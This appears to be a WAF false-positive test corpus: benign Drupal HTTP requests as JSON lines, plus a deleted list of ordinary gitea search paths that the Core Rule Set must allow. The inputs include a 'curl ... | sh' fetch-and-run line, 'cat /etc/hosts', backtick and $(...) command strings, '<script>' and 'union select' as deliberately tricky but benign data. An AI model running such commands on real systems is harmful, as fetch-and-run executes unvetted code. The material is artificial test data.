{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=wp-config.php&moderation_state=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=wp-config.php&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Dwp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/config/search/path?search=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=hello", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=python3", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=powershell", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=ls%20-la", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/views/ajax/autocomplete/tag?q=.htaccess", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/moderated?title=docker-compose.yml&moderation_state=All", "headers":["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/files?filename=&filemime=docker-compose.yml&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=&author_name=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/login?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content%3Ftitle%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout?destination=/search/node%3Fkeys%3Ddocker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/2/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/node/2/delete", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2/delete", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-hnGbBTfqMwKkGf8rHG1D2s_--brUB7ERWenxjTAV3LA&form_token=VhXEXVRRiAuV4qccGvDVSnGrooVZfRHrKiG51GM3yms&form_id=node_page_delete_form&op=Delete"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dfrontpage%3Alocation%3Dpage%26name%3Dfrontpage%26display_id%3Dpage_1%26langcode%3Den&tokens%5B%5D=gzNq81gUc0srM04Gao-KDKP3JhZ8i_LinPcztlc970A"}
|
||||
{"method": "POST", "target": "/media/add/image?element_parents=field_media_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywImR5Ybat1GIxzuU", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"files[field_media_image_0]\"; filename=\"powershell-setup.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-w_XtjjjeoarI94S-L4lSdIzOHi_x9Kgcm8noqTZQNB8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_media_image_0_upload_button\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\nnwY4HfJ_Ywq9D0w8idDat-HyUFFrbgnBlO-ktsMr2r8\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJxVj1ESwjAIRC_UtGeiERWlUAnpWE9votVM_naW5cFGBtNpwRNBOKstQ1RxfHoGnk6WV-CxOYFJ7qlEDKeoy6qC4mkU2OgCTiohuCrPYGHO7irf6MGB6LThh9H72bXSGB27QVRmWFNvlovk--_X5icHx9RZ9WswhGCY6NVjNjSnWCo5zMcWlZomZXZ7ZLR9bCekKOCKOBP_EVUPrfvU5Miwa_ZhBb_-0lW_AQOBjSg\r\n------WebKitFormBoundarywImR5Ybat1GIxzuU--\r\n"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/powershell-setup_4.png.avif?itok=iF2vDKZ9", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/media/add/image", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMo0GuX6XENCyw7uS", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/media/add/image", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][alt]\"\r\n\r\nA powershell logo\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"field_media_image[0][fids]\"\r\n\r\n16\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-dg7NXZ7td0XPIB6_GTT6JAprMPLoOBmXE6djXbPE4iI\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nhe-agwYf9hgBeNvqmmhGH-VoLUAjNTrQ-e47x0x0Jxs\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nmedia_image_add_form\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"revision_log_message[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n09:05:03\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"advanced__active_tab\"\r\n\r\nedit-revision-information\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryMo0GuX6XENCyw7uS--\r\n"}
|
||||
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"admin\", \"pass\": \"python3-/etc/hosts-1\"}"}
|
||||
{"method": "POST", "target": "/jsonapi/node/article", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"attributes\": {\"title\": \"SELECT a table: python3, ls -la and .htaccess\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example && ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\", \"summary\": \"Notes on python3 and powershell\"}}}}"}
|
||||
{"method": "PATCH", "target": "/jsonapi/node/article/d71c9e89-d9bd-4822-ba15-54bef9d26522", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\", \"attributes\": {\"title\": \"Edited: docker-compose.yml\", \"body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example && ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"full_html\"}}}}"}
|
||||
{"method": "POST", "target": "/jsonapi/comment/comment", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: lRai9w8Ufs5XV4lf0RjtPEHPjM5YyEGC1vnmmCEgd08"], "body": "{\"data\": {\"type\": \"comment--comment\", \"attributes\": {\"entity_type\": \"node\", \"field_name\": \"comment\", \"subject\": \"Python3 question\", \"comment_body\": {\"value\": \"<h2>Notes on python3 and powershell</h2><p>Run <code>ls -la</code> then <a href=\\\"/python3-notes\\\">read the notes</a> or <a href=\\\"https://example.com/docs/setup.php?a=1&b=2\\\">the docs</a>.</p><pre><code class=\\\"language-bash\\\">#!/bin/sh\\ncat /etc/hosts | grep example && ls -la\\npython3 setup.py install\\ncurl -s https://example.com/install.sh | sh\\nSELECT name, mail FROM users WHERE uid = 1;\\nconsole.log('ok'); document.getElementById('x');\\nif (a == b) { echo $PATH; }\\n</code></pre><blockquote><p>Select a table from the catalog, then union the results.</p></blockquote><ul><li>one</li><li>two</li></ul><table><tbody><tr><td>python3</td><td>3.13</td></tr></tbody></table><p><img src=\\\"/sites/default/files/inline-images/photo.png\\\" alt=\\\"A photo\\\" width=\\\"1\\\" height=\\\"1\\\" data-entity-type=\\\"file\\\" data-entity-uuid=\\\"11111111-2222-4333-8444-555555555555\\\"></p>\", \"format\": \"basic_html\"}}, \"relationships\": {\"entity_id\": {\"data\": {\"type\": \"node--article\", \"id\": \"d71c9e89-d9bd-4822-ba15-54bef9d26522\"}}}}}"}
|
||||
-393
@@ -1,393 +0,0 @@
|
||||
# Ordinary gitea 1.27 requests that the Core Rule Set must let through at the
|
||||
# defaults. Each line is a path and query, and may end with one header after a
|
||||
# space. The tests of internal/coreruleset inspect each as a GET. The Core Rule Set reads
|
||||
# the query and the headers the same way for any method.
|
||||
|
||||
# Searches with ordinary words and symbols.
|
||||
/owner/repo/search?q=package.json
|
||||
/owner/repo/search?q=.gitignore
|
||||
/owner/repo/search?q=docker-compose.yml
|
||||
/owner/repo/search?q=python3
|
||||
/owner/repo/search?q=ssh%20key
|
||||
/owner/repo/search?q=feat%2Fdocker-support
|
||||
/owner/repo/search?q=ls%20-la
|
||||
/owner/repo/search?q=sed%20-i
|
||||
/owner/repo/search?q=%2Fbin%2Fsh
|
||||
/owner/repo/search?q=%60make%20check%60
|
||||
/owner/repo/search?q=%60whoami%60
|
||||
/owner/repo/search?q=fetch%28
|
||||
/owner/repo/search?q=%24%7BVAR%7D
|
||||
/owner/repo/search?q=%24%28pwd%29
|
||||
/owner/repo/search?q=process.env
|
||||
/owner/repo/search?q=%3Cimg%20src%3D
|
||||
/owner/repo/search?q=%3Cscript%3E
|
||||
/owner/repo/search?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
/owner/repo/search?q=union%20select
|
||||
/owner/repo/search?q=http%3A%2F%2F127.0.0.1%3A8080
|
||||
/owner/repo/search?q=..%2F
|
||||
